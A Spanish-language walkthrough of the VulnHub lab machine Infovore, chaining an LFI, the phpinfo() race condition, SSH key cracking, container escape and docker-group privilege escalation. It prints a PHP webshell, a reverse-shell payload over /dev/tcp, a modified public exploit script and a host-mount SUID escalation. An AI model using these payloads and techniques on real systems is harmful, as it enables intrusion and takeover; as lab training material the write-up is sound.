the_open_door
café
ESEN

Infovore 1

VulnHubMediaLinux192.168.1.156

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#vulnhub#lfi#phpinfo#race-condition#rce#docker#container-breakout#ssh#ssh2john#credential-reuse#docker-group#privesc
TL;DR. Un único puerto 80 esconde un parámetro filename con LFI, pero solo lee /etc/passwd. La vía es un info.php con file_uploads On: se explota la race condition de phpinfo() para subir una webshell al temporal e incluirla antes de que PHP la borre, ganando shell como www-data dentro de un contenedor. De ahí se sale con un par de claves SSH cifradas (crackeadas con ssh2john) y el reúso de la passphrase para llegar al host como admin; como admin pertenece al grupo docker, el abuso del grupo docker monta la raíz del host y da root.

Reconocimiento

Descubrimiento del host

La máquina es una imagen de VulnHub en la red local, así que antes de escanear puertos hay que encontrarla. Un barrido ARP la saca por su MAC de VMware:

sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt

arp-scan lista los hosts del segmento y 192.168.1.156 aparece con una MAC de VMware, Inc.

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.136   b0:a4:60:cf:91:26   Intel Corporate
192.168.1.156   00:0c:29:77:73:5f   VMware, Inc.
192.168.1.141   78:8b:2a:b1:7f:9b   Zhen Shi Information Technology (Shanghai) Co., Ltd.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.510 seconds (101.99 hosts/sec). 9 responded

Objetivo: 192.168.1.156.

ping -c 1 192.168.1.156

ping -c 1 192.168.1.156 con una respuesta ttl=64

64 bytes from 192.168.1.156: icmp_seq=1 ttl=64 time=0.45 ms

TTL 64 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que un 64 sin decrementar significa además que no hay routers de por medio; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.156 -oG scan

nmap -p- contra 192.168.1.156: de los 65535 puertos solo el 80/tcp está abierto

Discovered open port 80/tcp on 192.168.1.156
Completed SYN Stealth Scan (65535 total ports)

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:77:73:5F (VMware)

Un solo puerto. Ni siquiera hay SSH, así que el 80 no es la vía preferente: es la única.

extractPorts leyendo el fichero scan y devolviendo IP Address 192.168.1.156 y Open ports 80

Extracting information...
IP Address: 192.168.1.156
Open ports: 80

Ports copied to clipboard
nmap -p80 -sCV 192.168.1.156

nmap -sCV sobre el 80: Apache httpd 2.4.38 (Debian) con el título de página "Include me ..."

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...
MAC Address: 00:0C:29:77:73:5F (VMware)

El título de la página es Include me .... No es decoración: include() es la función de PHP que carga otro fichero, y el autor está anunciando el tipo de vulnerabilidad desde la cabecera HTML. Conviene anotarlo, porque justifica todo el esfuerzo posterior en buscar un parámetro de inclusión.

whatweb 192.168.1.156

whatweb contra 192.168.1.156 identificando Apache 2.4.38, PHP 7.4.7, jQuery 3.4.1 y Bootstrap

http://192.168.1.156 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], HTML5,
  HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.156], JQuery[3.4.1],
  Script, Title[Include me ...], X-Powered-By[PHP/7.4.7]

PHP 7.4.7 confirmado por la cabecera X-Powered-By. Wappalyzer, en el navegador, dibuja la misma pila y añade el sistema operativo:

la portada One Page Wonder con Wappalyzer detectando Debian, Apache 2.4.38, PHP 7.4.7, jQuery 3.4.1 y Bootstrap 4.3.1

Operating systems: Debian
Web servers: Apache HTTP Server 2.4.38
Programming languages: PHP 7.4.7
JavaScript libraries: jQuery 3.4.1
UI frameworks: Bootstrap 4.3.1
Font scripts: Google Font API

La plantilla es un One Page Wonder de Bootstrap sin nada propio, pero el título de la pestaña no encaja con ella: pone Include me .... El código fuente explica por qué:

el view-source de la portada: un html, un title Include me y un body abiertos antes del DOCTYPE de la plantilla Bootstrap

<html>
<title>Include me ...</title>
<body>
<p>
<!DOCTYPE html>
<html lang="en">
...
    <title>One Page Wonder - Start Bootstrap Template</title>

Hay dos documentos HTML pegados: un <html><title>Include me ...</title><body><p> a pelo y, dentro, la plantilla completa con su propio <!DOCTYPE> y su propio <title>. Eso no lo escribe un diseñador: es el envoltorio que imprime un script PHP antes de incluir lo que se le pida. Es decir, index.php no sirve una página, sirve el resultado de incluir un fichero, y el título dice literalmente lo que hay que hacer. Falta averiguar por qué parámetro se le pasa ese fichero.

Enumeración de rutas: casi nada

dirsearch -u http://192.168.1.156 --exclude-status=403,404

dirsearch contra 192.168.1.156 devolviendo apenas index.php, info.php y el directorio vendor

[15:05:22] 200 -    1KB - /index.php
[15:05:24] 200 -   79KB - /info.php
[15:05:31] 301 -  317B  - /vendor  ->  http://192.168.1.156/vendor/
Task Completed
gobuster dir -u http://192.168.1.156 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster con directory-list-2.3-medium confirmando los mismos hallazgos: vendor, index.php e info.php

/vendor               (Status: 301) [Size: 317] [--> http://192.168.1.156/vendor/]
/index.php            (Status: 200) [Size: 1141]
/info.php             (Status: 200) [Size: 81321]
Progress: 220560 / 220561 (100.00%)

El /vendor se recorre igual, y solo contiene los dos directorios de librerías que ya usaba la plantilla:

gobuster dir -u http://192.168.1.156/vendor -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404

gobuster sobre /vendor devuelve únicamente bootstrap y jquery tras 220564 peticiones

/bootstrap            (Status: 301) [Size: 325] [--> http://192.168.1.156/vendor/bootstrap/]
/jquery               (Status: 301) [Size: 322] [--> http://192.168.1.156/vendor/jquery/]
Progress: 220564 / 220565 (100.00%)

dirsearch recursivo sobre /vendor/jquery devolviendo solo los ficheros propios de la librería

dirsearch -u http://192.168.1.156/vendor/bootstrap --exclude-status=404,403

dirsearch sobre /vendor/bootstrap devuelve solo los subdirectorios js y css

[15:10:54] 301 -   328B - /vendor/bootstrap/js   ->  http://192.168.1.156/vendor/bootstrap/js/
[15:11:13] 301 -   329B - /vendor/bootstrap/css  ->  http://192.168.1.156/vendor/bootstrap/css/

Se recorre /vendor y sus subdirectorios (jquery, bootstrap) y no hay nada más que las librerías. Dos escáneres, 220 560 peticiones el segundo, y el inventario completo son tres recursos. Cuando la enumeración de rutas se agota así, lo que queda por fuzzear no son ficheros: son parámetros.

Fuzzing de parámetros: filename

El título decía "Include me", así que se busca el parámetro que incluye. La técnica es apuntar todos los nombres candidatos a un fichero conocido y quedarse con el que cambie la respuesta:

wfuzz -u 'http://192.168.1.156/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh=275,4743 -t 100

wfuzz probando 220564 nombres de parámetro contra ?FUZZ=/etc/passwd: filtra 220563 y solo devuelve "filename" con 200 y 1006 caracteres

Target: http://192.168.1.156/?FUZZ=/etc/passwd
Total requests: 220564

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000025372:   200        26 L     33 W       1006 Ch     "filename"

Total time: 252.9543
Processed Requests: 220564
Filtered Requests: 220563
Requests/sec.: 871.9518

Uno entre 220 564. El doble filtro --hh=275,4743 descarta las dos longitudes de respuesta "normales" (la página con el parámetro ignorado y la de error), y lo que queda es filename devolviendo 1006 caracteres, que es aproximadamente lo que ocupa un /etc/passwd.

Explotación: LFI + phpinfo() race condition

Un LFI que solo lee /etc/passwd

La web renderiza /etc/passwd a través de ?filename=/etc/passwd, confirmando el LFI

Confirmado el LFI. Pero es un LFI extrañamente limitado:

La misma URL apuntando a otro fichero del sistema devuelve una página completamente en blanco

Cualquier otra ruta devuelve página en blanco. Y los wrappers de PHP, que suelen sortear estas restricciones, tampoco:

http://192.168.1.156/?filename=php://filter/convert.base64-encode/resource=/etc/hosts

La URL con php://filter/convert.base64-encode también devuelve una página en blanco

Ni base64, ni data://, ni ningún otro filtro. El comportamiento encaja con una lista blanca en el código que solo permite ese fichero concreto, así que la lectura arbitraria está descartada. El LFI, por sí solo, no vale para nada.

Pero un include() no solo lee: ejecuta. Si se consigue que exista un fichero PHP en el disco cuya ruta se pueda pasar por filename, ese código correrá. Y ahí es donde vuelve el info.php del escaneo.

file_uploads On en info.php

La salida de info.php mostrando la directiva file_uploads con valor On

file_uploads      On      On
upload_tmp_dir    no value
upload_max_filesize  2M

file_uploads = On es la directiva clave, y significa algo que sorprende a mucha gente: PHP acepta ficheros en cualquier petición multipart/form-data, exista o no un formulario de subida en la aplicación. Los guarda en un temporal de /tmp con nombre aleatorio y los borra al terminar la petición.

El segundo regalo lo da el propio phpinfo(): entre las variables que imprime está $_FILES, es decir, el tmp_name del fichero recién subido.

Confirmar la subida y el tmp_name

Se captura la petición a info.php, se cambia el método a POST y se le añade un cuerpo multipart:

Burp con la petición a info.php cambiada de GET a POST

El cuerpo multipart/form-data escrito a mano en Burp con el boundary "--prueba" y un fichero prueba.txt

POST /info.php HTTP/1.1
Host: 192.168.1.156
Content-Type: multipart/form-data; boundary=--prueba
Content-Length: 155

----prueba
Content-Disposition: form-data; name="prueba"; filename="prueba.txt"
Content-Type: text/plain

Esto es un texto de prueba
----prueba

La respuesta de phpinfo muestra la tabla PHP Variables con la entrada de $_FILES y dentro tmp_name = /tmp/phpQtg4Xn

PHP Variables
Variable        Value
$_FILES['0']    Array
                (
                    [name] => prueba.txt
                    [type] => text/plain
                    [tmp_name] => /tmp/phpQtg4Xn
                    [error] => 0
                    [size] => 28
                )

Ahí está: [tmp_name] => /tmp/phpQtg4Xn. PHP ha aceptado el fichero sin que la aplicación lo pidiera, y phpinfo() nos ha dicho exactamente dónde lo puso. El nombre es aleatorio y cambia en cada petición, y el fichero se destruye en cuanto la respuesta termina de enviarse: por eso hace falta una condición de carrera.

Ganar la carrera: LFI2RCE

La técnica consiste en tres cosas simultáneas: subir por POST un fichero cuyo contenido sea PHP, leer el tmp_name en esa misma respuesta y pedir el LFI apuntando a esa ruta antes de que PHP la borre. Primero se comprueba que se puede extraer el dato desde consola:

curl -X POST http://192.168.1.156/info.php \
  -H "Content-Type: multipart/form-data; boundary=--prueba" \
  --data-raw $'----prueba\nContent-Disposition: form-data; name="prueba"; filename="prueba.txt"\nContent-Type: text/plain\n\nEsto es un texto de prueba\n----prueba--\n' \
  | grep -i prueba.txt -A 2 | tail -n 1 | awk -F ' ' '{print $3}'

curl extrayendo únicamente la ruta del tmp_name de la respuesta de phpinfo mediante grep, tail y awk

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 71481    0 71335  100   146  11.3M  24317 --:--:-- --:--:-- --:--:-- 13.6M
/tmp/phpDAbiQF

Una sola línea de salida, /tmp/phpDAbiQF, que es exactamente lo que hay que meter en el LFI.

Con eso ya se puede montar un bucle que suba la webshell y pida el LFI en cada vuelta:

#!/bin/bash
PAYLOAD='<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; die; }?>'

while true; do
  dir=$(curl -X POST http://192.168.1.156/info.php \
    -H "Content-Type: multipart/form-data; boundary=--prueba" \
    --data-raw $'----prueba\nContent-Disposition: form-data; name="prueba"; filename="prueba.txt"\nContent-Type: text/plain\n\n'"$PAYLOAD"'\n----prueba--\n' \
    | grep -i prueba.txt -A 2 | tail -n 1 | awk -F ' ' '{print $3}')

  curl "http://192.168.1.156/?filename=$dir"
done

el script race_condition ejecutándose en bucle sin llegar a acertar la ventana

<html>
<title>Include me ... </title>
<body>
<p>
<pre></pre></p>
</body>
</html>
Probando: http://192.168.1.156/?filename=/tmp/phpT86GV5/prueba.txt
Probando: http://192.168.1.156/?filename=/tmp/phpT86GV5
...
Probando: http://192.168.1.156/?filename=/tmp/phpKr3Vow/prueba.txt

No funciona. El motivo es de diseño: bash lanza las dos peticiones en serie, así que entre que termina la primera y arranca la segunda ya han pasado milisegundos de sobra para que PHP haya limpiado el temporal. Ganar esta carrera exige mandar la petición de lectura mientras la de subida sigue abierta, y para eso hace falta paralelismo real.

El exploit de referencia (el de Insomnia Security que documenta HackTricks) hace justo eso con cientos de hilos:

wget https://www.insomniasec.com/downloads/publications/phpinfolfi.py
chmod +x phpinfolfi.py

wget descargando phpinfolfi.py desde insomniasec.com y el chmod +x correspondiente

--2025-03-30 14:14:29--  https://www.insomniasec.com/downloads/publications/phpinfolfi.py
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://insomniasec.com/downloads/publications/phpinfolfi.py [following]
HTTP request sent, awaiting response... 200 OK
Length: 4888 (4.8K) [binary/octet-stream]
Saving to: 'phpinfolfi.py'

phpinfolfi.py       100%[===================>]   4.77K  --.-KB/s    in 0s

2025-03-30 14:14:31 (152 MB/s) - 'phpinfolfi.py' saved [4888/4888]

El script no funciona tal cual: hay que ajustarle cuatro cosas. Las tres primeras van juntas al principio del fichero, y son las rutas y el payload, que pasa a ser una reverse shell:

las tres líneas modificadas al principio de phpinfolfi.py: el payload con la reverse shell, el POST a info.php y el GET a index.php con el parámetro filename

PAYLOAD="""<?php system("bash -c 'bash -i >& /dev/tcp/192.168.1.80/1234 0>&1'"); ?>\r"""

REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r

LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r

La cuarta es la que decide si el exploit sirve o no, y no está documentada en ningún sitio: el script busca la cadena [tmp_name] => dentro de la respuesta, pero phpinfo() devuelve HTML, donde ese > va escapado como &gt;. Tal cual, la búsqueda nunca casa y el exploit aborta. Hay que corregirla en los dos sitios donde aparece.

la función phpInfoLFI con la búsqueda cambiada a tmp_name igual seguido de amp gt

try:
    i = d.index("[tmp_name] =&gt")
    fn = d[i+17:i+31]
except ValueError:
    return None

la función getOffset con la misma búsqueda corregida y el mensaje de error No php tmp_name in phpinfo output

i = d.find("[tmp_name] =&gt")
if i == -1:
    raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)

Con eso listo y el nc a la escucha:

nc -nlvp 1234
python2.7 phpinfolfi.py 192.168.1.156 80 100

phpinfolfi.py lanzando 100 hilos contra 192.168.1.156 y anunciando el LFI conseguido

LFI With PHPInfo()
=================================================
Getting initial offset... found [tmp_name] at 111436
Spawning worker pool (100)...
  198 / 1000
Got it! Shell created in /tmp/g

Woot!  \m/
Shuttin' down...

El exploit primero localiza en qué byte de la respuesta de phpinfo() aparece el tmp_name (found [tmp_name] at 111436), lo que le permite leerlo sin esperar a la respuesta completa; con ese atajo, 198 intentos bastan para caer dentro de la ventana.

nc a la escucha en 1234 recibe la shell; id devuelve uid=33(www-data) y el prompt es www-data@e71b67461f6c, un hostname de contenedor

listening on [any] 1234 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.156] 53197
www-data@e71b67461f6c:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@e71b67461f6c:/var/www/html$ whoami
www-data

El tercer argumento (100) es el número de hilos: cuantos más, más probabilidad de que alguno pida el LFI dentro de la ventana. Con 100 basta.

Tratamiento de la TTY

La shell llega sin terminal (nc no negocia PTY), así que lo primero es arreglarla: sin TTY no hay Ctrl+C sin morir, ni historial, ni su.

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm

la shell recibida se convierte en bash con script, se suspende con Ctrl+Z y se recupera con stty raw -echo y fg

www-data@e71b67461f6c:/var/www/html$ script /dev/null -c bash
Script started, file is /dev/null
www-data@e71b67461f6c:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 1234
[1]  + continued  nc -nlvp 1234
www-data@e71b67461f6c:/var/www/html$ reset xterm

Falta declarar el tipo de terminal y ajustar el tamaño al de la terminal local:

export SHELL=bash TERM=xterm
stty rows 50 cols 236
stty size
alias ls="ls -la"

se exportan SHELL y TERM, se ajusta el tamaño a 50 filas por 236 columnas y stty size lo confirma

www-data@e71b67461f6c:/var/www/html$ stty size
50 236

Salir del contenedor

Tres pruebas de que esto no es la máquina

El prompt www-data@e71b67461f6c ya canta: un identificador hexadecimal de 12 dígitos es el patrón de un ID de contenedor Docker, no un hostname que elija una persona. Se confirma:

hostname && hostname -I

hostname devuelve e71b67461f6c y hostname -I devuelve una única IP, 192.168.150.21, distinta de la 192.168.1.156 escaneada

www-data@e71b67461f6c:/var/www/html$ hostname && hostname -I
e71b67461f6c
192.168.150.21

Segunda prueba, y más fuerte: la IP no coincide. Escaneamos 192.168.1.156 y la máquina en la que estamos se llama a sí misma 192.168.150.21. Estamos detrás de una red virtual de Docker.

Y la tercera, definitiva, está en la raíz:

ls -la /

ls -la en la raíz mostrando el fichero .dockerenv junto a un .oldkeys.tgz de 1197 bytes

-rwxr-xr-x   1 root root       0 Jun 22  2020 .dockerenv
-rw-r--r--   1 root root    1197 Apr 27  2020 .oldkeys.tgz
drwxr-xr-x   2 root root    4096 Jun  9  2020 bin
...

/.dockerenv es el fichero que el propio motor de Docker crea dentro de cada contenedor: su presencia es prueba directa. Y justo al lado, algo que no pinta nada en la raíz de un sistema: .oldkeys.tgz, oculto y de solo 1197 bytes.

Las claves viejas

cp /.oldkeys.tgz /tmp/oldkeys.tgz
cd /tmp && tar -xf oldkeys.tgz
ls -la
cat root.pub
-rw-------  1 www-data www-data  751 Apr 27  2020 root
-rw-r--r--  1 www-data www-data  594 Apr 27  2020 root.pub

$ cat root.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAPV4XEuAQLhu9Lqr3KwiSo9/sFfsb6ighehPgDYsEWHaW9eC7+ivELLDdOvst2Lz4VAy1wzJKTOxAT2RZuU0mzReqG0lKU14RDU3rzXsv4GbwMHrEa...
...Sauao= root

Un par de claves DSA cuyo comentario dice root. La privada no se puede usar tal cual:

cat root

el cat de la clave privada muestra la cabecera BEGIN DSA PRIVATE KEY con Proc-Type 4,ENCRYPTED y DEK-Info AES-128-CBC

-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2037F380706D4511A1E8D114860D9A0E

ds7T1dLfxm7o0NC93POQLLjptTjJMMFVJ4qxNlO2Xt+RBqgAG7YQBy6Tpj2Z2VxZb
...
-----END DSA PRIVATE KEY-----

Las dos líneas de cabecera lo dicen todo: Proc-Type: 4,ENCRYPTED y DEK-Info: AES-128-CBC significan que el cuerpo de la clave está cifrado con AES a partir de una passphrase. Hay que romperla:

ssh2john root > hashes.txt
john --wordlist=rockyou.txt hashes.txt

ssh2john y john rompen la clave privada cifrada; john revela la passphrase junto al hash id_rsa

Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93        (id_rsa)
1g 0:00:00:03 DONE (2025-03-30 19:38) 0.3144g/s 2865Kp/s 2865Kc/s 2865KC/s choclitkake..choclat3lov3r
Session completed.

La passphrase es choclate93. Fíjate en el formato que anuncia john: la cabecera de la clave decía DEK-Info: AES-128-CBC, y por eso el hash entra como SSH private key; sin el ssh2john previo el fichero no sería crackeable, porque una clave privada no es un hash.

Localizar el host anfitrión

Antes de usar la clave hay que saber contra quién. El contenedor no tiene nmap ni ping, pero bash trae su propio cliente TCP en /dev/tcp: abrir ese pseudo-fichero es abrir una conexión, y si tiene éxito el puerto está abierto.

for i in {1..254}; do timeout 1 bash -c "echo '' > /dev/tcp/192.168.150.$i/80" 2>/dev/null && echo "Host 192.168.150.$i - Activo"; done

el bucle sobre /dev/tcp barriendo la red 192.168.150.0/24 y encontrando un único host activo, 192.168.150.1

Host 192.168.150.1 - Activo

Un solo host en el segmento, y es el .1: la puerta de enlace de la red Docker, o sea la interfaz del anfitrión. Ahora sus puertos, con el mismo truco:

for i in {1..65535}; do timeout 1 bash -c "echo '' > /dev/tcp/192.168.150.1/$i" 2>/dev/null && echo "Host 192.168.150.1 - Puerto: $i -> Activo"; done

el mismo bucle recorriendo los 65535 puertos de 192.168.150.1 y encontrando el 22 y el 80 abiertos

Host 192.168.150.1 - Puerto: 22 → Activo
Host 192.168.150.1 - Puerto: 80 → Activo

El 22 está abierto en el anfitrión aunque no lo estuviera desde fuera: el SSH solo escucha en la interfaz interna. Eso es exactamente lo que la clave necesita.

El primer intento con la clave falla

ssh -i root root@192.168.150.1

ssh -i root root@192.168.150.1 avisa de que no puede crear /var/www/.ssh, acepta la huella del host y termina pidiendo contraseña: "Permission denied, please try again."

Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.150.1 (192.168.150.1)' can't be established.
ECDSA key fingerprint is SHA256:47B5q99t6wwHcxTX3Yff0gVrP/Ieun/2T9scPz20xHc.
Are you sure you want to continue connecting (yes/no)? yes
root@192.168.150.1's password:
Permission denied, please try again.

Que pida contraseña es el dato: significa que el servidor rechazó la clave pública antes de llegar a pedir la passphrase. Esta clave no sirve para root en el host. Pero la passphrase sí puede servir en otro sitio, porque la gente reutiliza.

Reúso de la passphrase dentro del contenedor

su root      # choclate93
cd /root && ls -la
cat .ssh/id_rsa.pub

su root con la passphrase choclate93 funciona dentro del contenedor; en /root/.ssh hay un id_rsa cifrado y un id_rsa.pub cuyo comentario es admin@192.168.150.1

www-data@e71b67461f6c:/tmp$ su root
Password:
root@e71b67461f6c:/tmp# cd /root/
root@e71b67461f6c:~# ls -la
drwx------  4 root root 4096 Mar 30 19:00 .
-rw-------  1 root root    5 Mar 30 19:00 .bash_history
drwx------  2 root root 4096 Jun 23  2020 .ssh
-r--------  1 root root   79 Jun 22  2020 root.txt

root@e71b67461f6c:~/.ssh# ls
id_rsa  id_rsa.pub  known_hosts

root@e71b67461f6c:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/keLDJowDdeSdHZz26wS1M2o2/eiJ99+acchRJr0lZE0YmqbfoIo+n75VS+eLiT03yonunkVp+lhK+uey7/Tu8JsQSHK1F0gci5FG7MKRU4/+m+0CODwVFTNgw3E4FKg5qu+nt6Exzm... admin@192.168.150.1

root@e71b67461f6c:~/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7E18B5FC6317F2B108B324FAE966C522

La passphrase de una clave vieja resulta ser la contraseña de root dentro del contenedor. Y ese root guarda otra clave, cuya pública lleva escrito el destino en el comentario: admin@192.168.150.1. Ese comentario es el mapa entero: usuario admin, en el anfitrión.

La privada vuelve a estar cifrada (Proc-Type: 4,ENCRYPTED, DEK-Info: AES-128-CBC), así que se repite el proceso:

ssh2john id_rsa > hashes.txt
john --wordlist=rockyou.txt hashes.txt

ssh2john y john sobre la segunda clave devuelven exactamente la misma passphrase, choclate93

choclate93        (id_rsa)
1g 0:00:00:03 DONE  ...
Session completed.

La misma choclate93. Tres usos distintos de una sola contraseña: cifrar la clave vieja, la cuenta de root del contenedor y cifrar la clave del host.

SSH al anfitrión como admin

ssh -i id_rsa admin@192.168.150.1
hostname -I && hostname

ssh -i id_rsa admin@192.168.150.1 entra al host real: el hostname es infovore, ya fuera del contenedor

Enter passphrase for key 'id_rsa':
...
Last login: Tue Jun 23 05:59:43 2020 from 192.168.150.21
admin@infovore:~$ hostname -I && hostname
192.168.1.156 172.17.0.1 192.168.150.1 2a0c:5a83:a30c:ff00:20c:29ff:fe77:735f
infovore

El hostname ya no es el identificador aleatorio del contenedor sino infovore, y el hostname -I lo confirma: la máquina tiene a la vez la IP externa (192.168.1.156, la que escaneamos al principio), la 172.17.0.1 (la puerta de enlace por defecto de Docker) y la 192.168.150.1 de la red personalizada donde vivía el contenedor. Las tres juntas solo las tiene el anfitrión. Hemos salido.

Escalada de privilegios: grupo docker

echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) \
  && echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"

id del usuario admin en el host infovore mostrando la pertenencia al grupo 999(docker)

SO: Linux
Kernel Version: 3.16.0-6-amd64
User: admin
Machine Name: infovore
IP(s): 192.168.1.156 172.17.0.1 192.168.150.1 ...
Information User: uid=1000(admin) gid=1000(admin) groups=1000(admin),999(docker)

admin pertenece al grupo 999(docker), y eso equivale a ser root. El motivo no es un fallo: el demonio de Docker corre como root y cualquiera que pueda hablarle puede pedirle que monte el disco del anfitrión dentro de un contenedor, donde seremos root sin restricciones.

docker images
docker run -dit -v /:/mnt/root theart42/infovore
docker ps
docker exec -it <name> bash

Dentro del contenedor, /mnt/root es la raíz del anfitrión. Se marca /bin/bash como SUID y se sale:

cd /mnt/root/bin && chmod u+s bash && exit
ls -l /bin/bash
bash -p
cat /root/root.txt

docker run montando / en /mnt/root, chmod u+s a bash desde el contenedor y bash -p dando root en el host; /root/root.txt muestra "You pwned infovore" y FLAG{And_now_You_are_done}

admin@infovore:~$ docker run -dit -v /:/mnt/root theart42/infovore
876a2359488f3ca1183415924036abe13a2de6b8100458f96d77961fe9cec444
root@876a2359488f:/mnt/root/bin# chmod u+s bash
root@876a2359488f:/mnt/root/bin# exit
admin@infovore:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1029624 Mar 25  2019 /bin/bash
admin@infovore:~$ bash -p
bash-4.3# cat /root/root.txt
FLAG{And_now_You_are_done}

La s en -rwsr-xr-x es la prueba de que el cambio se aplicó al binario del anfitrión desde dentro del contenedor. bash -p conserva el euid de root (sin -p, bash renuncia al privilegio al detectar que UID real y efectivo no coinciden) y devuelve FLAG{And_now_You_are_done}.

Máquina pwneada.

Cadena de ataque

puerto 80 ("Include me ...")  ->  fuzzing de parámetros (1 de 220 564)  ->  filename (LFI, solo /etc/passwd)
    └─> info.php: file_uploads On + $_FILES filtrado  ->  race condition de phpinfo()  ->  LFI2RCE
            └─> www-data en un contenedor (/.dockerenv, IP 192.168.150.21)  ->  /.oldkeys.tgz  ->  ssh2john/john
                    └─> choclate93 -> su root del contenedor  ->  clave con comentario admin@192.168.150.1
                            └─> /dev/tcp: 22 y 80 en el gateway  ->  ssh admin@192.168.150.1
                                    └─> grupo docker  ->  -v /:/mnt/root  ->  chmod u+s bash  ->  root

Lecciones aprendidas

  • Un LFI que solo lee un fichero aún puede ser RCE. Con file_uploads On y un phpinfo() accesible, la race condition convierte la lectura en ejecución; include() no lee, ejecuta.
  • phpinfo() en producción es peligroso. Filtra el tmp_name del fichero subido, la pieza exacta que la carrera necesita, y de paso confirma la directiva que la hace posible.
  • Una carrera no se gana en serie. El script en bash falla porque manda las peticiones una detrás de otra; hacen falta cientos de hilos para que alguno caiga dentro de la ventana.
  • Tres señales delatan un contenedor: un hostname hexadecimal, una IP que no coincide con la escaneada y, sobre todo, el fichero /.dockerenv. Reconocerlo cambia la estrategia: primero salir, luego escalar.
  • Sin herramientas, bash es el escáner. /dev/tcp descubre el anfitrión y sus puertos sin subir un solo binario, y ahí aparece un SSH que desde fuera no existía.
  • La misma passphrase se reutiliza. choclate93 cifraba dos claves distintas y además era la contraseña de root del contenedor.
  • Estar en el grupo docker es ser root. Montar / del host en un contenedor y tocar /bin/bash es escalada inmediata; el grupo docker no es un permiso "de usuario".
Cheatsheet de comandos 13 comandos

Repaso rápido